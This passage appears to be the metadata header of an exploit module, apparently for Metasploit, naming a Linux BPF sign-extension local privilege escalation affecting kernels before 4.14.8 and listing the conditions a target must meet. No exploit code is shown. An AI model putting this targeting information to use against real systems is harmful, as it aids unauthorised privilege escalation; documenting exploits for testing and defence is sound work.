'Name' => 'Linux BPF Sign Extension Local Privilege Escalation',
'Description' => %q{
Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)
which contains a vulnerability where it may improperly perform sign
extension. This can be utilized to escalate privileges.
The target system must be compiled with BPF support and must not have
kernel.unprivileged_bpf_disabled set to 1.
